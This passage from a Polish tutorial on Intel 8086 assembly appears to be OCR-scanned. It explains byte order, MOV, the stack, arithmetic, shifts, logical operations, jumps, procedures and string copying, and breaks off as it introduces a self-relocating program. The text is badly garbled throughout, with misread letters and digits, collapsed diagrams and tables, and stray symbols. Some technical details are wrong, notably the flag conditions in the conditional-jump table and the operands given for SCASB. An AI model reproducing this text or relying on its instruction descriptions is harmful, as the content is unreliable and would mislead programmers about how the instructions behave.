wchodzšcy w skład programu. W programach napisanych w assemblerze po wystšpieniu œrednika tekst do korica linijki jest traktowany jako komentarz. Pewnie zastanawiasz się, po co wprowadzono typ s l owo , skoro można wszystkie dane typu s l owo potraktowaE jako dane zfożone z dwóch bajtów. Niestety nie jest to to samo. Procesor Intel 8086 odziedziczyf po swoich poprzednikach specyficzny sposób zapisu danych innych niż typu bajt. Otóż dane te sš zapisywane w kolejnoœci od najmniej znaczšcego do najbardziej znaczšcego bajtu. (W przypadku stowa bajt mniej znaczšcy nosi nazwę dolnego bajtu, bajt bardziej znaczšcy - górnego bajtu). Jeœli więc zadeklarujesz jakšœ zmiennš Zmienna DB 11H,22H,33H,44H to w pamięci pod adresem zmienna sš wartoœci: Zmienna 11 H Zmienna+1 22H Zmienna+2 33H Zmienna+3 44H Jeœli zadeklarujesz jš jako Zmienna Dtn1 1122H,3344H to w pamięci znajdš się: 9 Zmienna 22H Zmienna+1 11 H C. Zmienna+2 44H Zmienna+3 33H Jeœli zaœ zadeklarujesz jš jako: Zmienna DD 11223344H to w pamięci znajdš się: Zmienna 44H Zmienna+1 33H Zmienna+2 22H Zmienna+3 11 H i Analogicznie adresy dalekich instrukcji sš pamiętane w kolejnoœci o f f s e t , s egment. Następna dyrektywa .CODE informuje kompilator o tym, iż zaczyna się wfaœciwy kod programu. Instrukcja, która znajduje się bezpoœrednio za tš dyrektywš, jest wykonywanajako pierwsza, chyba że w dyrektywie END znajduje się etykieta instrukcji, od której należy zaczšć program. Właœciwie cały powyższy program, to dwukrotne wykonanie przerwania 21 H. Przerwanie o danym numerze wykonuje instrukcja INT numer przerwania. Przerwanie 21 H jest przerwaniem specjalnym. Jest to menadżer funkcji systemowych. Używa się go w ten sposób, że pned jego wywołaniem w rejestrze AH umieszcza się numer funkcji, a w pozostałych rejestrach inne parametry wymagane przez funkcję. Dokłţdny opis wszystkich funkcji przerwania 21 H znajduje się w rozdziale pištym. W nim również znajdujš się opisy wszystkich pozostałych przerwari. Dlatego przy korzystaniu z przerwar5 nie będę tłumaczył dokładnie ich znaczenia. Jeœli nie będziesz czegoœ rozumiał, to po prostu sięgnij do rozdziału pištego. W naszym przypadku wywołanie tunkcji 09 przerwania 21 H powoduje wyœwietlanie na ekranie ciagu znaków, natomiast wywolanie funkcji 4CH przerwania 21 H koriczy pracę programu. Bez wywoţnia tego przerwania program po zakoriczeniu pracy zawiesi się. Dlatego instrukcjami, które wykonujš się jako ostatnie w programie (z pewnymi wyjštkami, o czym póŸniej) powinny być: MOV AH,4CH INT 21H I w tym momencie trochę wyprzedziłem tok ksišżki, bowiem drugš instrukcjš wykorzysiywanš w programie jest MOV. Instrukcja ta służy do przesyłania danych między rejestrami, przesylania danych z pamięci do rejestrów i z rejestrów do pamięci,ładowania danych do rejestrów. Ogólna postać tej instrukcji to: MOV zmienna lub rejestr,wartosc Poprawnymi instrukcjami sš na przykład: MOV AX,BX ;zaladowanie wartosci rejestru BX ;do rejestru AX MOV AX,l000 H ;zaladowanie wartosci l000 H ;do rejestru MOV AX,[BX] ;zaladowanie do rejestru AX slowa ;o adresie zawartym w BX MOV AX,ES:70H ;zaladowanie do reţestru AX slowa ;o adresie, ktorego segment jest ;zawarty w ES a offset wynosi 70H MOV AH,zmienna[si+5] ;zaladowanie do rejestru AH ;bajtu o adresie zmienna + ;zawartosc rejestru SI + 5 10 MOV AX,ES:[BX] ;zaladowanie do rejestru AX slowa ;o adresie, ktorego segment jest ;zawarty w ES a offset w BX MOV DS,BX ;zaladowanie wartosci rejestru BX ;do rejestru DS MOV AX,SEG komunikat ;zaladowanie seţmentu adresu ůzmiennej komunikat do rejestru AX MOV DX,OFFSET komunikat ;zaladowanie offsetu adresu 'ţ'" ;zmiennej komunikat do rejestru ţ DX r MOV AX,@DATA ;zaladowanie do rejestru AX ;segmentu danych Zaœ niepoprawnymi: MOV DH,AX ;niezgodnosc typow MOV DS,2000H ;do rejestrow segmentowych nie mozna ;bezposrednio przesylac wartosci ;najwyzej zawartosc innych rejestrow MOV IP,BX ;reţestr IP nie moze byc zmieniany ;w ten sposob :: .ţg Również dokładne opisy wszystkich rozkazów procesora znajdujš się w rozdziale pištym. Jeœli więc będziesz miał jakieœ ţ wštpliwoœci, to sięgnij do tego rozdziału. Ostatnim elementem naszego programu jest dyrektywa END. Oznacza ona zakoriczenie programu. Jeœli występuje bez ţ parametrów, to nie ma żadnego innego znaczenia. Może natomiast wystapić z etykietš lin. Oznacza wtedy linię, od której rozpocznie się wykonywanie programu. (Analogicznie jak zmiennym również linijkom programu możemy nadawać nazwy. Sš to tak zwane etykiety. Etykiety f zakoriczone sš dwukropkiem. Przykładami etykiet mogš być: ' etykietal: Mov AX,BX etykieta2: Int 13H W pewien sposób etykiety odpowiadajš adresom instrukcji. I tak możesz je traktować jako nazwę symbolicznš nadanš _ adresowi instrukcji.) Wracajšc do dyrektywy END . W naszym programie jest ona podana bez parametrów i pierwszš wykonywana instrukcjš ţ programu jest ta, która znajduje się bezpoœrednio za dyrektywš CODE, czyli: mov ax,segment komunikat Jeœli natomiast trochę zmienilibyœmy program i wyglšdatby on tak: . CODE : ţ' mov ax,seg komunikat mov ds , ax mov ah , 9 mov dx, offset komunikat int 21H Startţ mov ah,4CH int 21H END Start to pierwszš wykonywanš instrukcjš bytaby ta znajdujšca się za etykietš Start, czyli: mov ah,4CH StOS Często zdarza się sytuaeja, gdy musimy zapamiętać wartoœci jakiœ rejestrów, wykonać pewne operacje, a następnie odtworzyć wartoœci tych rejestrów. Aby ułatwić czynnoœci z tym zwišzane wykorzystuje się strukturę danych zwanš stosem. i Na strukturze tej wykonuje się tylko dwie operacje: polożenia na stos (push) oraz pobrania ze stosu (pop). Operacja pobrania i tţ 11 wykonywana jest w kolejnoœci odwrotnej do operacji położenia, to znaczy dana, która jaka ostatnia była położona na stos, jest z niego pobierana jako pierwsza. Przykładowo po wykonaniu cišgu instrukcji mov ax ,1 push ax mov ax , 2 push ax mov ax , 3 ; push ax pop bx pop cx pop dx W rejestrze BX znajdzie się wartoœć 3, w rejestrze CX wartoœć 2, a w rejestrze DX 1. Organizacja stosu w pamięci jest zwišzana z rejestrami SS i SP. Rejestr SS wskazuje segment stosu, rejestr SP natomiast jego wierzchofek. Operacja położenia na stos polega na zmniejszeniu rejestru SP o 2 i przesłaniu wartoœci kładzionej na stos do komórek o adresach SS:SP i SS:SP-1, natomiast operacja zdjęcia ze stosu polega na przesłaniu wartoœci komórek SS:SP i SS:SP-1 do odpowiedniego rejestru i zwiększeniu rejestru SP o dwa. (Zwróć uwagę że stos roœnie w kolejnoœci odwrotnej do kolejnoœci adresów w pamięci.) PrzeœledŸmy jak zmieniała się pamięć i odpowiednie rejestry przy wykonywaniu wypisanych powyżej operacji. Zakładam, że poczštkowo rejestr SP wynosił 100, zaœ odresowanie stosu odbywa się w stosunku do segmentu wskazywanego przez SS. Na starcie: AX=? ? 94 BX=? ? ss ' CX=? ? 98 DX=? Po instrukcjach MOV AX ,1 / PUSH AX AX =1 ? g4 BX = ? ? ss CX=? 1 98 <--- s P DX=? ? Po instrukcjach MOV AX , 2 / PUSH AX AX=2 ? 94 BX = ? 2 96 <---- SP CX = ? 1 98 DX = ? ? too Po instrukcjach MOV AX , 3 / PUSH AX AX = 3 3 94 <--- SP 2 9s DX=? ? ţţţI I 12 Po instrukcji POP BX AX = 3 ? sa BX = 3 2 ss ţ--- SP ţ 9B DX = ? ? ioo Po instrukcji POP CX AX = 3 ? sa BX=3 ?ss CX = 2 1 98 <--- SP DX = ? ? ioo ţţ; , Po instrukcji POP DX AX = 3 ? sa BX = 3 ? ss ? 98 DX =1 ? 100 <-- SP ' ţ 7. Operacje arytmetyczne Ponieważ jak pewnie dobrze wiesz komputer to takie duże liczydło, w zestawie rozkazów procesora nie może zabraknšć operaeji dodawania, odejmowania, itd. Do rozkazów tej grupy należš między innymi: ADD rejestr, zmienna Dodanie do rejestru wartoœci zmiennej SUB rejestr, zmienna Odjęcie od rejestru wartoœci zmiennej INC rejestr Zwiększenie rejestru o 1 DEC rejestr Zmniejszenie rejestru o 1 Właœciwie operacje te mogš być wykonywane na dowolnych rejestrach ogólnego przeznaczenia, jednak działajš one ţ szybciej jeżeli jednym z argumentów jest rejestr AX. Pewnš odmianš rozkazów ADD i SlJB sš rozkazy ADC i SBB. Działajš one tak samo, ale uwzględniajš przeniesienie z poprzednio wykonywanej operacji. Przeniesie zachodzi wtedy, gdy wynik operacji nie mieœci się w przewidzianych granicach. Przykładowo, po wykonaniu cišgu instrukcji: MOV AX , OFFFFH I MOV BX ,1 ADD AX , BX W rejestrze AX znajdzie się wartoœć 0, ale znacznik C zostanie ustawiony i będzie mógł być uwzględniony przy nastepnej ( operacji ADC. Jest to wykorzystywane głównie przy dodawaniu liczb dłuższych niż 16-bitowe. Przeniesienie może zaistnieć również wledy, gdy próbujemy odjšć większš liczbę od mniejszej. W grupie rozkazów arytmetycznych znajdujš sie również mnożenie i dodawanie. Występujš one w dwóch wersjach 8 i 16 ţ bitowych. Majš one posta‚: 13 NIUL rejestr lub zmienna Mnożenie. W przypadku mnożenia 8-bitowego drugi czynnik musi znaj- dować się w AL, a wynik znajdzie się w AX. W przypadku mnożenia 16-bitowego drugi czynnik powinien być przekazany w AX, a wynik znajdzie się w parze rejestrów DX:AX DIV rejestr lub zmienna Dzielenie. W przypadku dzielenia 8 bitowego w rejestrze AX powinna znajdować się dzielna, a iloraz znajdzie się w AL, reszta z dzielenia w AH. W przypadku dzielnia 16-bitowego dzielna powinna być przeka- zana w rejestrach DX:AX, a iloraz znajdzie się w rejestrze AX, zaœ reszta z dzielenia w DX. Wywofanie dzielenia przez zero spowoduje wywolanie przerwania sprzętowego numer 0. Przerwanie to jest rów- nież wywofywane, gdy iloraz nie mieœci się w odpowiednich rejestrach. Przykładowo, po wykonaniu instrukcji: MOV AL,l OH MOV AH,50H MUL AH w rejestrze AX znajdzie się wartoœć 500H. Po wykonaniu instrukcji: MOV AL ,11 MUL AL w rejestrze AX znajdzie się wartoœć 121 (112) Po wykonaniu instrukcji: MOV AX,l000 H MOV BX,20H MUL BX W rejestrze DX znajdzie się wartoœć 2, a w rejestrze AX wartoœć 0 (W parze rejestrów DX:AX znajdzie się wartoœć 20000H) Po wykonaniu instrukcji: MOV AX , 3 7 MOV DL ,12 DIV DL w rejestrce AL znajdzie się wartoœć 3 (37 podzielone przez 12), a w rejestrze AH 1 (reszta z dzielenia 37 przez 12) Po wykonaniu instrukcji: MOV DX , 3 MOV AX,205H ; W parze DX:AX znajduje sie 30205H MOV BX,100H DIV BX w rejestrze AX znajdzie się 302H (30205H podzielone na 1 OOH), zaœ w DX 5 (reszta z dzielenia 30205H przez 1 OOH) Zaœ wykonanie instrukcji: MOV AX ,10 MOV DL , 0 DIV DL lub MOV AX,OFFFFH MOV DL ,1 DIV DL spowoduje wywołanie przerwania sprzętowego #0. Zarówno mnożenie jak i dzielenie przy użyciu tych rozkazów jest powolne (to znaczy zajmujšce dużo taktów procesora). Poza tym przy korzystaniu z dzielenia trzeba kontrolować dzielnik, aby nie wystšpiło przerwanie nr 0. Instrukcje te sš więc kłopotliwe w użyciu. Na szczęœcie przy pisaniu programówwiekszoœć operacji dzielenia i mnożenia wykonuje się na potęgach dwójki i wykorzystuje się do tego instrukcje przesunięcia. :T ' .ţţ‹ 1'.ţ ! .‹ 14 8. Przesunięcia, obroty i rozkazy logiczne rţ,s' Ta grupa rozkazów wymaga abyœmy znowu potraktowali zawartoœci rejestrów jako liczby dwójkowe. W przypadku innego ich zapisu wyjaœnienie działania tych rozkazów byłoby zbyt skomplikowane. Umówmy się więc, że na czas tego paragrafu powrócimy do zapisu wartoœci rejestrów w postaci binarnej. Liczbę w tej postaci będziemy oznaczać poprzez dodanie na jej koricu litery B. Pierwsza grupa operacji to przesunięcia i obroty. Operacje te mogš byćwykonywane zarówno na argumentach 16-bitowych jak i 8-bitowych. Drugim argumentem operacji jest zawsze 1 lub rejestr CL zawierajšcy liczbę pozycji, o ile chcemy przesunšć lub obrócić pierwszy operand. Działanie poszczególnych operacji wyjaœniajš rysunki . Litera C na rysunkach oznacza znacznik przeniesienia. Rysunki objaœniajšdziałanie operacji przesunięcie lub obrotu o jednš pozycję dla rejestru AL, bity tego rejestru sš ponumerowane w kolejnoœci 7-0. Po każdym rysunku znajduje się również przykład dotyczšcy instrukcji. SHL rejestr lub zmienna,liczba Przesunięcie logiczne w lewo SAL rejestr lub zmienna,liczba Przesunięcie arytmetyczne w lewo SHR rejestr lub zmienna,liczba Przesunięcie logiczne w prawo SAR rejestr lub zmienna,liczba Przesunięcie arytmetyczne w prawo ROL rejestr lub zmienna,liczba Obrót w lewo RCL rejestr lub zmienna,liczba Obrót w lewo z przeniesieniem ROR rejestr lub zmienna,liczba Obrót w prawo RCR rejestr lub zmienna,liczba Obrót w prawo z przeniesieniem Instrukcja SHL i SAL . . `ţţ 0 ţ-- Cţ ţ-- 0 ţ-- 0 ţ-- 0 ţ-- 0 ţ-- 0 ţ-- 0 ţ-- 0 ţ-- 0 5 ;: MOV AL,15H ;00010101B MOV CL , 2 SHL AL , CL Wynik:AL=54H ;010101008 Znacznik C wyzerowany Instrukcja SHR In 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ CCţ ţ MOV AL,15H ;00010101B MOV CL , 3 SHR AL , CL AL = 02H ;0000001 OB Znacznik C ustawiony 15 Instrukcja SAR 6 7 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 MOV AL,A3H ;10100011B MOV CL , 4 SAR AL , CL AL=OFAH;111110108 Znacznik C wyzerowany Instrukcja ROL D <---- 0 <-- 0 <-- 0 <-- 0 <-- 0 <-- 0 <-- 0 <-- 0 < 0 MOV AL,15H ;00010101B ROL AL ,1 Wynik: AL = 2AH;001010108 Znacznik C wyzerowany Instrukcja RCL C <---- 7 <-- 6 <-- 5 <-- 4 <-- 3 <-- 2 <-- 1 <-- 0 < 00000000 MOV AL,15H ;O O Ol Ol Ol B MOV CL , 3 RCL AL , CL Wynik: AL = A8H;1 O1 O1 OOOB _ Znacznik C wyzerowany Instrukcja ROR ţ ţ --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --ţ 0 --y 0 ţ- 0 Przy założeniu, że znacznik C jest wvzerowany MOV AL,21H ;O0l00001B ROR AL ,1 Wynik: AL = 90H ;10010000á 16 Znacznik C ustawiony Instrukcja RCR -> 7 --> 6 --> 5 --> --> 3 --> 2 --> 1 --> 0 ---> C 000 0000 Przy założeniu że znacznik C jest ustawiony MOV AL,OCDH ;11001101B MOV CL , 2 RCR AL , CL Wynik: AL = F3H;11110011 B Znacznik C wyzerowany Przesunięcie w lewojest szybszš metodš mnożenia przez potęgę dwójki, a przesunięcie logiczne w prawš szybsza metodš dzielenia przez potęgę dwójki. Wykonajmy kilka przykładów aby sprawdzić, czy tak rzeczywiœcie jest. MOV AL, 32 ; OQl00000B MOV CL,4 , 2 =16 _ SHR AL , CL - 'ţ ; Po wykonaniu tych instrukcji w rejestrze AL znajdzie się wartoœć 2 (000000108) czyli wynik 32I16 MOVAL,4,0ţ000100B MOV CL , 3 , 2 =8 " ţţţ~ SHL AL , CL ţ ~~ţ Po wykonaniu tych instrukcji w rejestrze AL znajdzie się wartoœć 32 (001 OOOOOB) czyli wynik 4*8 Jeœli jeszcze nie jesteœ przekonany, to przypomnij sobie jak w systemie dziesiętnym mnoży i dzieli się liczby przez potęgi dziesištki(101001000 itd). Otóż pomnożenie przez potęgę dziesištki polega na dopisaniu do liczby tylu zer ile ma ta potęga (1 dla 10ţ=10, 2 dla 102=100 itd.). Podzielenie polega na obcięciu zer. Analogicznie jest w systemie dwójkowym dla potęg ' dwójki. Operacje SHL i SHR wykonujš się o wiele szybciej niż operacje MUL i DIV, sš poza tym bezpieczniejsze w użyciu. Dlatego stosuj je zawsze gdy przyjdzie Ci mnożyć lub dzielić przez potęgę dwójki. Natomiast przy mnożeniu lub dzieleniu liczby zawartej w parze rejestrów należy jeszcze użyć instrukcji RCL lub RCR. t Przyktadowo mnożenie liczby zapisanej w parze rejestrów DX:AX przez 2 można zaprogramować: SHL AX,1 ; Bit 15 przeniesiony do znacznika C RCL DX,l ; Bit 0 pobrany ze znacznika C Następne rozkazy wykonujš operacje logiczne. Podobnie jak poprzednio wszystkie te operacje działajš albo na liczbach 8-bitowych, albo na 16-bitowych. Pierwsza z nich działa tylko na jednym argumencie. Jest to operacja: NOT rejestr lub zmienna Operacja ta to negacja logiczna. Jej działanie polega na zamianie I każdego bitu argumentu na przeciwny. Przykładowo wykonanie instrukcji: I - MOV AX,14B5H , 00010100101.10101B I NOT spowoduje umieszczenie w rejestrze AX wartoœci OEB4AH (11101011010010108) ţF Następne cztery operacje działajš na dwóch argumentach. Po ich wykonaniu zerowane sš znaczniki C i 0, a znaczniki S P i Z sš ustawiane zgodnie z wynikiem operacji. W trzech z nich (AND,OR,XOR) wynik jest przesyłany do pierwszego operandu. Operacja TEST ustawia tylko odpowiednie znaczniki bez zmieniania zawartoœci operandów. AND rejestr lub zmienna, rejestr, zmienna lub iloczyn logiczny wartoœć TEST rejestr lub zmienna, rejestr, zmienna lub iloczyn logiczny bez zmiany operandów wartoœĆ OR rejestr lub zmienna, rejestr, zmienna lub suma logiczna wartoœć XOR rejestr lub zmienna, rejestr, zmienna lub różnica symetryczna wartoœć Operacje te sš wykonywane po kolei na parach bitów. Jeœli nie pamiętasz w jaki sposób sš one zdefiniowane to poniższe tabele pomogš Ci w przypomnieniu sobie. A - pierwszy bit z pary , B - drugi bit z pary , W - wynik. AND OR XOR A B W A B W A B WO 0 1 0 0 1 1 0 1 1 1 0 0 1 0 1 1 0 1 1 1 1 1 1 1 1 1 0 Przykfadowo: MOV AL,2CH 00101100B MOVBL,65H,01100101B AND AL , BL umieœci w AL liczt;ę 24H (001001 OOB) MOV AL,59H 01011001B _ MOV BL, 9BH , 10011011B OR AL , BL umieœci w AL liczbę ODBH (11011011 B) MOV AL,57H 01010111B MOV BL, OC2H ; 11000010B XOR AL , BL ţ umieœci w AL liczbę 95H (100101018) natomiast wykonanie XOR spowoduje umieszczenie w rejestrze AX wartoœci 0, niezależnie od tego jaka wartoœć się w nim znajdowata. Jest to więc instrukcja równoważna z MOV AX,0 . Wykonuje się jednak odrobinę szybciej i zajmuje tylko dwa bajty zamiast trzech i dlatego wielu programistów woli jš stosować do zerowania rejestrów. " Innš ciekawš cechš instrukcji XOR jest to, że wykonanie dwukrotnie tej operacji na tych samych argumentach da nam te argumenty. Inaczej mówišc operacja ta jest odwrotna w stosunku do samej siebie. Możemy z tego korzystać na przyklad " ů przy kodowaniu, gdzie ta sama procedurajest zarówno procedurš kodujšcšjak i dekodujacš. Na koniec chciałbym wyjaœnić pojęcie maski. Zwišzane jest ono z instrukcjš AND. Otóż instrukcja ta jest używana wtedy, gdy interesujšca nas informacja w danej znajduje się tylko na kilku jej bitach, a pozostałe bity nie sš, z naszego punktu widzenia, istotne. Wtedy właœnie wykonujemy instrukcję AND z drugim argumentem, w którym bity odpowiadajšce bitom znaczšcym w danej sš ustawione, a pozostałe bity sš wyzerowane. Ten argument nazywamy maskš. Po wykonaniu operacji AND możemy jeszcze przesunšć wynik w prawo tak, aby interesujace nas bity znalazły się na poczštku. Przykładowo załóżmy, że po wykonaniu przerwania 11 H bity 6-7 (kolejnoœć bitów 7-0) rejestru AL zawierajš liczbę stacji dysków w systemie. Po wykonaniu instrukcji: 18 MOV BL,OCOH ;maska 11000000B AND AL,BL ;wszystkie bity AL poza 6 i 7 sa zerowane MOV CL , 6 SHR AL , CL rejestr AL będzie zawierał interesujšcš nas liczbę. 9. Instrukcje sterujšce programem W dotychczasowych przykładach wszystkie instrukcje były wykonywane po kolei, jedna po drugiej. Oczywiœcie, gdyby programy były pisane tylko w ten sposób, ich możliwoœci byłoby bardzo ograniczone. Dlatego w procesorze istnieje cała grupa rozkazów sterujšcych pracš programu. Argumentami tych instrukcji sš adresy. Będę rozróżniał adresy bliskie (wewnštrz danego segmentu - składa się tylko z offsetu) oraz dalekie ( w innym segmencie - składa się z segmentu i offsetu). Pierwszym rozkazem tej grupy jest rozkaz skoku bezwarunkowego. Jego działanie polega ne tym, że zmienia wartoœć rejestru IP (oraz ewentualnie CS) tak, aby wskazywał na dany adres. Innymi stowy, instrukcja pod wskazanym adresem jest wykonywana jako nastepna. Rozkaz ten zapisuje się w postaci: JMP adres Przykładowo, jeœli wykonujemy cišg instrukcji: MOV AX ,1 JMP NAST MOV BX , 2 MOV CX , 3 NAST : MOV DX , 4 to po instrukcji MOV AX,1 zostanie wykonana instrukcja MOV DX,4. Następna grupa instrukcji to skoki warunkowe. Ich działanie jest takie, że jeœli ustawione sš odpowiednie znaczniki procesora (patrz tabela) to wykonuje się instrukcja pod podanym adresem, jeœli nie, to wykonuje się instrukcja następna w kolejnoœci. Wszystkie te skoki sšskokami krótkimi, to znaczy etykieta, do której skaczš może leżeć w odległoœci co najwyżej 128 bajtów od instrukcji. Przykładowy cišg instrukcji sprawdza czy naciœnięty klawiszjest literš A, a następnie wykonuje inny cišg operacji w przypadku gdy jest naciœnięty ten klawisz , a inny gdy nie jest naciœnięty. :; MOV AH ,1 INT 21H CMP AL,'A' JE NACISNIETY JMP NIE NACISNIETY NACISNIETY: , P I E Rw SZY CIAG INSTRUKCJI JMP DALEJ NIE NACISNIETY , DRUGI CIAG INSTRUKCJI DALEJ: i.ţuł , W przykładzie wystšpiła nie znana Ci do tej pory instukcja CMP rejestr lub zmienna, wartoœć. Jest to instrukcja porównania. Jej dziatanie polega na odjęciu pierwszego argumentu od drugiego, ale wynik operacji nie jest nigdzie zapisywany, a tylko na jego podstawie ustawiane sš odpowiednie znaczniki procesora. Instrukcje CMP stosuje się zazwyczaj przed rozkazami skoku warunkowego W poniższej tabeli przedstawione sš wszystkie instrukcje skoków warunkowych. 1 19 NAZWA OPIS SPRAWDZANE ZNACZNIKI JB/JNAE Skok gdy mniejszy C=1 Skok gdy nie większy lub równy JAEIJNB Skok gdy większY lub równy C=0 Skok gdy nie mnieţszy JBE/JNA Skok gdy mniejszy lub równy C=1 lub Z=1 Skok gdy nie większy JAIJNBE Skok gdy większy . C=0 i Z=0 Skok gdy nie mnieţszy lub równy JE/JZ Skok gdy równy Z=1 JNE/JNZ Skok gdy nie równy Z=0 JUJNGE Skok gdy mniejszy (liczby ze S=0 znakiem) Skok gdy nie większy lub równy _ JGEIJNL Skok gdy nie większy (liczby, ze S=0 znakiem) Skok gdy nie mnieţszy JNGIJLE Skok gdy mniejszy lub równy Z=1 lub S=0 Skok gd nie większy (liczby ze znakiem JG/JNLE Skok gdy większy (liczby ze znakiem) Z=0 i S=0 Skok gdy nie mniejszy lub równy JP/JPE Skok przy parzystoœci P=1 JNPIJPO Skok przy braku parzystoœci P=0 JS Skok gdy znak ujemny S=1 JNS Skok gdy znak dodatni S=0 JC Skok przy przeniesieniu C=1 JNC Skok przy braku przeniesienia C=0 JO Skok przy nadmiarze 0=1 JNO Skok przy braku nadmiaru 0=0 Do tej grupy rozkazów można również zaliczyć instrukcję LooP adres, której działanie polega na zmniejszeniu o jeden zawartoœci rejestru CX, sprawdzeniu i skoku do podanego adresu w przypadku gdy zawartoœc tego rejestru nie jest rdwna zeru. Instrukcje: ! MOVCX,5000H Pusta_Petla: LOOP Pusta Petla nie robiš nic innego poza opóŸnieniem pracy programu na pewien czas. Wœród instrukcji sterujšcych pracš programu znajdujš się jeszcze rozkazy wywolania procedury i powrotu z procedury CALL adres , Wywolanie procedury, adres moze byc , daleki lub bliski RET Powrot z procedury bliskiej RETF , Powrot z procedury dalekiej Jeœli jakiœ cišg instrukcji jest wykonywany kilkakrotnie w różnych miejscach programu, to można umieœcić go w treœci procedury i odwoływać się do niego za każdym razem instrukcjš CALL. Na koricu podprocedury musi być umieszczona instrukcja RET. Przykładowo, zamiast instrukcji: 20 Start: Rozkaz 1 RozkaŸ 2 RozkaŸ 3 Rozkaz 1 RozkaŸ 2 Rozkazţ3 Możemy napisać równoważny ciag: Procedura: Rozkaz_1 Rozkaz_2 Rozkaz 3 RET Start: CALL Procedura CALL Procedura Ten drugi cišg jest krótszy, poza tym stosowanie procedur powoduje, że program staje się bardziej strukturalny, a co za tym idzie bardziej czytelny. Może to dla Ciebie na razie nie mieć znaczenia, ale wierz mi, że przy nieczytelnie napisanym programie nawet autor po uplywie pewnego czasu ma kłopoty z rozszyfrowaniem znaczenia poszczególnych instrukcji. Ponieważ będziesz na pewno często używał procedur w swoich programach, chciałbym Cię od razu ostrzec przed dwoma bardzo częstymi przyczynami btędów zwišzanymi z ich stosowaniem. Pierwszy rodzaj blędów to zmiana wartoœci rejestrów _ w treœci procedury. Przykładowo piszšc instrukcje: MOV AH ,10 CALL proceduraţl CMP AH ,10 Możesz się spodziewać, że wynik porównania będzie zawsze pozytywny. I rzeczywiœcie tak jest, pod warunkiem, że w treœci procedury nie zmienia się zawartoœci rejestru AH. Bo jeżeli procedura zawiera na przykład instrukcje: procedurƒ_1: MOV AH ,1 INT 21H RET To wykonanie programu nie będzie przebiegać, takjak sobie zaplanowałeœ. Błšd ten doœć trudno wykryć przy przeglšdaniu programu. Aby uniknšć takich sytuacji stosuj się zawsze do zasady, żeby na poczštku procedury zapamiętywać na stosie wartoœci wszystkich rejestrów używanych jako robocze w procedurze (tšcznie ze rejestrem znaczników), a na koricu procedury przywracać te wartoœci. Dobrze napisana procedura powinna mieć więc postać: Nazwa : ţ ţţ '" " PUSHF ;Zapamietanie rejestru znacznikow PUSH AX ^ţ:ţ . ;Zapamietanie uzywanych rejestrow ;Tresc procedury ;Przywrocenie wartosci rejestrow POP AX POPF ;Przywrocenie rejestru znacznikow RET Oczywiœcie zasada ta nie dotyczy rejestrów, w których majš być zwracane wyniki działania procedury. 21 Drugi rodzaj biędówjest o wiele trudniejszy do wykrycia i nie potrafiš przed nim się ustrzec nawet doœwiadczeni programiœci. Wišże się on ze sposobem wywolywania i powrotu z procedury. Otóż instrukcja CALL umieszcza na stosie swój adres i wykonuje skok do procedury, natomiast instrukcja RET zdejmuje ze stosu adres powrotny (Instrukcja RETF zdejmuje kolejno offset i segment adresu) i skacze dori. Wynika z tego, że jakakolwiek zmiana elementu na wierzchotku stosu powoduje skok do przypadkowego miejsca w pamięci. Najczęœciej koriczy to się wysypaniem się systemu. Nawet wywolanie tak niewinnej proceduryjak: Pl: XOR AX PUSH AX RET Może spowodować zawieszenie się programu, a w najlepszym wypadku jego działanie niezgodne z założeniami. Jeœli więc Twój program z nieznanych powodów nie chce "chodzić", to istnieje duże prawdopodobieristwo, że jest to spowodowane sytuacjš opisanš powyżej. 10. Przenoszenie instrukcji, porównywanie danych i skoki do innego segmentu W tym paragrafie chciałbym przedstawić Ci niektóre z pozostalych rozkazów procesora Intel 8086, wraz z przykładami zastosowari. 4 , NOP Instrukcja pusta, nie wykonuje żadnej czynnosci IN AL,DX Przesłanie bajtu z portu o numerze w DX do AL IN AX,DX Przesłanie słowa z portu o numerze w DX do AX IN AL,numer Przesłanie bajfu z portu o numerze 0-255 do AL IN AX,numer Przesłanie słowa z portu o numerze 0-255 do AX OUT DX,AL Przesłanie słowa z AL do portu o numerze w DX OUT DX,AX Przesłanie słowa z AX po portu o numerze w DX OUT numer,AL Przesfanie słowa z AL po portu o numerze 0-255 OUT numer,AX Przesłanie stowa z AX po portu o numerze 0-255 CLC Zerowanie znacznika przeniesienia C STC Ustawienie znacznika przeniesienia C CLD Zerowanie znacznika kierunku D STD Ustawienie znacznika kierunku D CLI Zerowanie znacznika zezwolenia na przerwanie I STI Ustawienie znacznika zezwolenia na przerwanie I ţCOL1= CMPSB Porównanie zawartoœci bajtu DS:[SI] z zawartoœciš bajtu ES:(DI] i zwię- kszenie/zmniejszenie zawartoœci SI i DI w zależnosci od stanu znacz- nika kierunku D. Instrukcja poprzedzona przedrostkiem REP może służyc do porównywania łaricuchów. MOVSB Przekopiowanie zawartoœci bajtu DS:[SI) do bajtu ES:[DI] i zwiększe- nielzmniejszenie zawartoœci SI i DI w zależnosci od stanu znacznika kierunku D. Instrukcja poprzedzona przedrostkiem REP może służyć do kopiowania programu lub danych w pamięci. 22 SCASB Porównanie zawartoœci bajtu DS:[SI] z zawartoœciš rejestru AL i zwię- kszenie/zmniejszenie zawartoœci SI w zależnoœci od stanu znacznika kierunku D. Porównywanie dwóch cišgów danych, moŸe się odbywać na przykład przy pomocy cišgu instrukcji: MOV CX,LICZBAţPOROWNYWANYCH_BAJTOW MOV SI,OFFSET_PIERWSZEGO_CIAGU MOV DI , OFFSET_DRUGIEGO_CIAGU '"`ţ' MOV AX,SEGMENT PIERWSZEGO CIAGU MOV DS , AX MOV AX,SEGMENT DRUGIEGO CIAGU MOV ES , AX CLD REP CMPSB JNE NIE_ROWNE JMP ROWNE Natomiast do przekopiowania fragmentu programu w inne miejsce pamięci możesz posłużyć się instrukcjami: MOV CX,LICZBA KOPIOWANYCH BAJTOW MOV SI,OFFSET_STARTU MOV DI,OFFSET_DOCELOWY MOV AX,SEGMENTţSTARTU MOV DS , AX MOV AX,SEGMENT DOCELOWY MOV ES , AX CLD REP MOVSB Najczęœciej program po przekopiowaniu w pamięci powinien jeszcze skoczyć do nowego miejsca. Najlepiej nie robić tego poprzez daleki skok, ale wykorzystać instrukcję RETF. Skok pod dany adres przy pomocy tej instrukcji może się odbyć na przykfad w następujšcy sposób: MOV AX,SEGMENT ADRESU PUSH AX MOV AX,OFFSET ADRESU PUSH AX RETF Poniższy programik nie robi nic poza przenoszeniem się co 16 segment. (Oczywiœcie nie 